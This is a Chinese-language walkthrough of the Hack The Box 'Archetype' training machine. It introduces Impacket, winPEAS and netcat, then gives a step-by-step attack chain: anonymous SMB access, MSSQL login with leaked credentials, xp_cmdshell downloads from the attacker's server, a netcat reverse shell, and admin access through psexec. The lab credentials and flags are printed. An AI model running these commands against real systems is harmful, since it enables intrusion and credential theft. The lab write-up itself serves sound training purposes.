--- title: HTB_Archetype --- # 工具介紹 ### Impacket Impacket 是一個由 Core Security 維護的 Python 類的工具組,用在處理網路協議,提供了對底層網路協議的存取,還能以程式化的方式解析網路封包,可以說是非常好用的一個工具組。 有以下這些工具 * 滲透與橫向,如 : `wmiexec.py`、`psexec.py` * 協議通訊與漏洞利用,如 : `smbclient.py` * 認證、憑證的使用和竊取,如 : `mssqlclient.py` * Kerberos、AD 的相關攻擊,如 : `kerberoast.py` 而這一次的靶機就分別利用到了 Impacket 底下的`mssqlclient.py`、`psexec.py` [Impacket's github](https://github.com/fortra/impacket) --- ### :wrench: `mssqlclient.py` `mssqlclient.py` 是 Impacket 其中一個非常實用的工具,它能夠與 Microsoft SQL Server (mssql) 進行連線 #### `mssqlclient.py`的幾個主要功能 : - **執行 SQL 查詢並回傳結果** - **連接到 mssql 伺服器** mssqlclient常見的三種連線方式  :arrow_right: SQL Server 帳號密碼登入  :arrow_right: NTLM hash 的登入( 通常搭配 Mimikatz 之類的工具撈 NTLM hash )  :arrow_right: Windows 驗證 ( 或是 Kerberos ) - **互動式 Shell (這題的關鍵)** 使用 mssql 底下的`xp_cmdshell`指令來生成一個 windows shell ,並傳入字串來執行 #### ❗`mssqlclient.py` 如何跟 MSSQL 做連線的? mssql 與 client 端專門做交互時用的協定是 **Tabular Data Stream (TDS)**,是一個應用層上的協定,通常在 1433 的 TCP port 上,而在`mssqlclient.py`中,引入了同樣在 Impacket 底下的`tds.py`,把連線的資料流打包好做傳輸 [Tabular Data Stream (TDS) document](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/b46a581a-39de-4745-b076-ec4dbb7d13ec) --- ### :wrench: `psexec.py` `psexec.py`是在 Impacket 底下的套件,它模仿了 Windows 上的 PsExec 工具來實作,以提供遠端連線執行 shell 指令 #### ❗`psexec.py` 怎麼連線到 windows 的主機的? `psexec.py`利用 SMB 協定來連線到 Windows 主機的,具體步驟如下: 1. 先連線目標機器,並嘗試 SMB 認證 ( 帳號密碼、NTLM hash 或 Kerberos ) 2. 檢查 `C$` 或 `ADMIN$` 是否有開啟共享 ( 用來注入 payload,其中包含 reverse shell ) 3. 上傳 Payload 4. `psexec.py` 透過 **遠端程序呼叫 ( Remote Procedure Call, RPC )** 的方式來呼叫 **服務控制管理器 ( Service Control Manager, SCM)** 來建立服務 :arrow_right: 告訴 Windows 主機 :「幫我在本機 ( target machine ) 創建一個服務,這個服務就是執行我剛剛上傳的 Payload 」 5. 取得 target machine 的 shell --- ### 額外介紹 : :wrench: `wmiexec.py` 跟`psexec.py`的功能很相近,一樣是在 Impacket 底下的套件,也一樣都能在 target machine 上遠端執行 shell 指令,但是實作的方法卻大不相同,步驟如下: 1. 透過 **DCOM(Distributed Component Object Model)** 架構與 **WMI(Windows Management Instrumentation)** 協定,從遠端連線到 target machine 2. 認證(帳號密碼 或 NTLM hash),然後建立一個 WMI Session (包含要執行的指令) 3. 回傳執行的結果 ### ⚔`psexec.py` v.s. `wmiexec.py` 既然功能如此相近的套件,那其中有有什麼不同的地方嗎? | 特性| `psexec.py`| `wmiexec.py`| |---|---|---| | 是否需要共享資料夾 | 是| 否| | 是否會建立服務| 會| 不會| | 權限需求| 管理員(可寫入共享)| 管理員(有 WMI 權限)| | 執行方式| 建立服務 :arrow_right: 執行程式 | 利用 WMI :arrow_right: 啟動 cmd.exe| | 可互動 shell?| 有(就像真的 cmd)| 無(回傳結果)| | 使用場景| 完整控制| 靜態滲透、橫向比較隱匿| ### 比較後的總結: > 想要隱匿起來不被發現 :arrow_right: `wmiexec.py` > 想要互動方便 :arrow_right: `psexec.py` --- ### :wrench: winPEAS.exe winPEAS(Windows Privilege Escalation Awesome Script)是一個自動化資訊收集的工具,用來在 Windows 環境下找出可能可以用來提權的漏洞或配置錯誤 具體有以下這些功能: * 系統資訊  * 服務檢查  * 檔案與目錄權限  * 憑證資訊  * 註冊表分析  * 排程任務  * DLL hijacking  [winPEAS github](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS) --- ### :wrench: nc.exe nc.exe 是 Windows 版本的 Netcat 執行檔,具有「連線」與「執行程式」,可以用來: * 傳輸資料 * 建立連線 * 搭建 listener 或連出去作 reverse shell #### reverse shell 使用方法 attacker's machine ```bash nc -lvnp <listening port> ``` target machine ```bash nc.exe <attacker IP> <listening port> -e cmd.exe ``` [nc github](https://github.com/int0x33/nc.exe/) --- # 靶機實戰 : Archetype  靶機出處 : HTB starting point, tier 2 Task 1 --- Which TCP port is hosting a database server? A: 1433 第1題問 資料庫 server 是跑在哪個 tcp port 上 用 `nmap` 來掃,就可以看到 Microsoft SQL Server 2017 14.00.1000 跑在 1433 port 上 ``` nmap -sV 10.129.95.187 ```  Task 2 --- What is the name of the non-Administrative share available over SMB? A: backups 這題問的是在 SMB 下,哪個 directory 是開放給非管理者共享的 SMB 的連線方式在之前的靶機也有出現過 ``` smbclient -L //10.129.95.187 -U anonymous Password for [WORKGROUP\anonymous]: //留空 ``` 可以看到有叫 backups 的 directory  Task 3 --- What is the password identified in the file on the SMB share? A: M3g4c0rp123 這題問的是在 SMB 分享的資料夾中有一個檔案存有密碼,密碼為何 ? 上一題有看到 backups 的 directory ,用`smbclient`連線進去 ``` smbclient //10.129.95.187/backups -U anonymous Password for [WORKGROUP\anonymous]: //留空 ```  可以看到有個叫`prod.dtsConfig`的檔案,看起來是 config ,把他抓下來看看  找到了 User Id 跟 Password Task 4 --- What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server? 這題問的是 Impacket 底下哪個工具可以用來建立與 mssql server 的連線 A: `mssqlclient.py`  Task 5 --- What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell? A: xp_cmdshell 這題問的是哪個 mssql server 的 procedure 是用來生成一個 command shell 的  就可以在 MSSQL 的 document 找到了`xp_cmdshell`  [xp_cmdshell's document](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver16) 依照第4、5題的提示,我先用 `mssqlclient.py` 和這一組從 config 中撈到的密碼做連線登陸 ``` Password = M3g4c0rp123; User ID = ARCHETYPE\sql_svc ``` ```bash python3 mssqlclient.py -p 1433 ARCHETYPE/sql_svc:M3g4c0rp123@10.129.95.187 -windows-auth ```  一開始一直登入不進去,嘗試後才發現這組帳號密碼是 windows 認證的,而不是 SQL server 的帳號密碼,需要加上`-windows-auth` Task 6 --- What script can be used in order to search possible paths to escalate privileges on Windows hosts ? 這題問的是有甚麼工具可以幫忙找出 windows 環境下有甚麼可以提權的弱點 A: winPEAS   Task 7 --- What file contains the administrator's password? A: ConsoleHost_history.txt 這題就開始問 administrator 的密碼存在哪裡 根據上一題有關 winPEAS 的提示 所以現在的目標是把 winPEAS.exe 丟到 target machine 上做執行 先架起 http.server ``` python3 -m http.server 80 ``` 接著用 wget 上傳檔案 ``` exec xp_cmdshell "powershell -c wget http://10.10.14.167/winPEASx86.exe -outfile winPEASx86.exe" ``` 發現目前路徑在 C:\Windows\system32 底下,而且沒有存取權限  所以就開始找有甚麼路徑有存取權限  發現在 C:\Users\Public 有存取權限 ``` exec xp_cmdshell "powershell -c cd C:\Users\Public; wget http://10.10.14.167/winPEASx86.exe -outfile winPEASx86.exe" ``` 照原計畫上傳 winPEAS 並執行  在 powershell setting 中就可以看到 ConsoleHost_history.txt 的檔案,這個 txt 是存放 powershell 執行過的歷史紀錄 有鑑於 winPEAS 輸出的資訊量太大很難做觀察看 而且 payload 在修改上特別麻煩,又因為可以做檔案上傳 所以我就嘗試使用 reverse shell 來方便 shell 的操作 從 github 上把 nc.exe 抓下來後,一樣架起 http.server ``` python3 -m http.server 80 ``` 再從本地把 nc64.exe 上傳到 server 上做 reverse shell ``` exec xp_cmdshell "powershell -c cd C:\Users\Public; wget http://10.10.14.167/nc64.exe -outfile nc64.exe" ```  接下來執行上傳好的 nc64.exe ``` exec xp_cmdshell "powershell -c cd C:\Users\Public; ./nc64.exe -e cmd.exe 10.10.14.167 8080" ``` 本地就成功打到 reverse shell 了  把 ConsoleHost_history.txt 的內容撈出來  可以看到 administrator 的相關資料 ``` /user:administrator MEGACORP_4dm1n!! ``` Task 8 --- Submit user flag A: 3e7b102e78218e935bf3f4951fec21a3 接續上一題,用 nc 打到 reverse shell 之後就可以比較方便的執行指令 之後在 Desktop 找到了`user.txt`,裡面就是 user flag  Submit root flag --- 過程: 接續第7題,把 ConsoleHost_history.txt 撈出來後看到的帳號密碼 ``` /user:administrator MEGACORP_4dm1n!! ``` 用`psexec.py`做連線和遠端執行 ``` python3 psexec.py administrator@10.129.95.187 Password: MEGACORP_4dm1n!! ```  在相同的地方找到了`root.txt`,撈出來  成功取得 root flag `b91ccec3305e98240082d4474b848528`
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up